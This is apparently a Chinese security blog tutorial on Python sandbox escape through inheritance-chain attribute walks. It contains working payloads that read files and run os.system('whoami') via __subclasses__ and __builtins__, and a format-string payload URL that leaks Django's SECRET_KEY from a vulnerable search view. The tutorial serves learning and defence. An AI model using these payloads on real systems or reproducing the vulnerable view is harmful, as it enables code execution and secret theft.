用python继承链搞事情
Author:cl0und@Syclover
前言
继承链这个这个词是我自己发明的。看到有的师傅博客中将它称为egg或者ssti，但是我喜欢叫它继承链因为感觉很生动。最早遇到这种姿势是在学习python bypass沙盒的时候。当时不是很理解形如().__class__.__bases__[0].__subclasses__()的意思。学习一段时间后，我决定来总结一下构造继承链的方法，并且用此方法在django有格式化字符串漏洞的情况下读取配置文件（灵感来自p师傅博客）。之前排版有点问题重新发一下（幸苦肉肉姐了）。
基础知识
__bases__
返回一个类直接所继承的类（元组形式）
class Base1:
def __init__(self):
pass
class Base2:
def __init__(self):
pass
class test(Base1, Base2):
pass
class test2(test):
pass
print test.__bases__
print test2.__bases__
"""
(<class __main__.Base1 at 0x0322ADF8>, <class __main__.Base2 at 0x0322AE30>)
(<class __main__.test at 0x0322AE68>,)
"""
在看别人文章时发现__mro__和__bases__用法相同，两者具体区别， 暂时留个坑。
一些情况下也可用__base__直接返回单个的类
__class__
返回一个实例所属的类
class Base:
def __init__(self):
pass
obj = Base()
print obj.__class__
"""
__main__.Base
"""
__globals__
使用方式是 函数名.__globals__，返回一个当前空间下能使用的模块，方法和变量的字典。
#coding:utf-8
import os
var = 2333
def fun():
pass
class test:
def __init__(self):
pass
print test.__init__.__globals__
"""
{'__builtins__': <module '__builtin__' (built-in)>, '__file__': 'backup.py', '__package__': None, 'fun': <function fun at 0x7f542e44b5f0>, 'test': <class __main__.test at 0x7f542e43b598>, 'var': 2333, '__name__': '__main__', 'os': <module 'os' from '/usr/lib/python2.7/os.pyc'>, '__doc__': None}
"""
__subclasses__()
获取一个类的子类，返回的是一个列表
class Base1(object):
def __init__(self):
pass
class test(Base1):
pass
print Base1.__subclasses__()
"""
[<class '__main__.test'>]
"""
__builtin\_ && __builtins__
python中可以直接运行一些函数，例如int(),list()等等。这些函数可以在__builtins__中可以查到。查看的方法是dir(__builtins__)。在控制台中直接输入__builtins__会看到如下情况
#python2
>>> __builtins__
<module '__builtin__' (built-in)>ps：在py3中__builtin__被换成了builtin
__builtin__ 和 __builtins__之间是什么关系呢？
1、在主模块main中，__builtins__是对内建模块__builtin__本身的引用，即__builtins__完全等价于__builtin__，二者完全是一个东西，不分彼此。
2、非主模块main中，__builtins__仅是对__builtin__.__dict__的引用，而非__builtin__本身
继承链bypass沙盒
用file对象读取文件
构造继承链的一种思路是：
- 随便找一个内置类对象用
__class__拿到他所对应的类 - 用
__bases__拿到基类（<class 'object'>） - 用
__subclasses__()拿到子类列表 - 在子类列表中直接寻找可以利用的类
一言敝之
().__class__.__base__.__subclasses__()
().__class__.__bases__[0].__subclasses__()
可以看到列表里面有一坨，这里只看file对象。
[...,<type 'file'>, ...]
查找file位置。
#coding:utf-8
search = 'file'
num = 0
for i in ().__class__.__bases__[0].__subclasses__():
if 'file' in str(i):
print num
num += 1
<type 'file'>在第40位。().__class__.__bases__[0].__subclasses__()[40]
用dir来看看内置的方法
dir(().__class__.__bases__[0].__subclasses__()[40])
['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__iter__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'close', 'closed', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'mode', 'name', 'newlines', 'next', 'read', 'readinto', 'readline', 'readlines', 'seek', 'softspace', 'tell', 'truncate', 'write', 'writelines', 'xreadlines']
所以最终的payload是
().__class__.__bases__[0].__subclasses__()[40]('filename').readlines()
然后用同样的手法可以得到__mro__形式下的payload
().__class__.__mro__[1].__subclasses__()[40]('filename').readlines()
这种方法等价于
file('backup.py').readlines()但是python3已经移除了file。所以第一种方法只能在py2中用。
用内置模块执行命令
第二种方法接着第一种的思路接着探索。第一种止步于把内置的对象列举出来，其实可以用__globals__更深入的去看每个类可以调用的东西（包括模块，类，变量等等），万一有os这种东西就赚了。
#coding:utf-8
search = 'os' #也可以是其他你想利用的模块
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
"""
(<class 'site._Printer'>, 72)
(<class 'site.Quitter'>, 77)
"""
().__class__.__mro__[1].__subclasses__()[77].__init__.__globals__['os'].system('whoami')
().__class__.__mro__[1].__subclasses__()[72].__init__.__globals__['os'].system('whoami')
不过很可惜上述的方法也只能在py2中使用。
第三种
那有没有通吃py2和py3的方法呢？答案是有的，就用上面__builtins__来搞事。
#coding:utf-8
search = '__builtins__'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass
"""
<class '_frozen_importlib._ModuleLock'> 64
#省略一堆
"""
于是乎
py3
().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")py2
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")继承链读django配置信息
p师傅的利用格式化字符串漏洞泄露Django配置信息一文中给了两个payload都是无登陆情况下读到django配置信息，我们可以用上面所述方法找到更多的payload。
测试代码如下
from django.http import HttpResponse
def search(request):
template = 'Hello {user}, This is your search: ' + request.GET.get('keyword')
return HttpResponse(template.format(user=request.user))
因为是无登陆情况，所以requests.User里面的对象是AnonymousUser的实例
class AnonymousUser(object):
#省略
_groups = EmptyManager(Group)
_user_permissions = EmptyManager(Permission)
观察到_groups属性是一个EmptyManager对象。
跟踪EmptyManager来到manger.py
##省略
from django.db.models.query import QuerySet
##省略
class EmptyManager(Manager):
def __init__(self, model):
super(EmptyManager, self).__init__()
self.model = model
def get_queryset(self):
return super(EmptyManager, self).get_queryset().none()
跟踪QuerySet来到query.py
##省略
from django.conf import settings
##省略
class QuerySet(object):
"""
Represents a lazy database lookup for a set of objects.
"""
def __init__(self, model=None, query=None, using=None, hints=None):
settings里面就是django的配置了。
将上面的跟踪一步一步转换成payload就是
拿到EmptyManager对象：user._groups.__class__
拿到QuerySet对象：user._groups.__class__.__base__.__init__.__globals__[QuerySet]
拿到SECRET_KEY
{user._groups.__class__.__base__.__init__.__globals__[QuerySet].__init__.__globals__[settings].SECRET_KEY}
所以最后的payload是
http://127.0.0.1:8000/search?keyword={user._groups.__class__.__base__.__init__.__globals__[QuerySet].__init__.__globals__[settings].SECRET_KEY}
ps:有登陆的情况下构造过程中继承链的感觉更强烈，有兴趣的师傅可以试一下~
参考
https://www.anquanke.com/post/id/85571
http://www.cnblogs.com/iamstudy/articles/python_eval_and_bypass_sandbox_study.html
https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html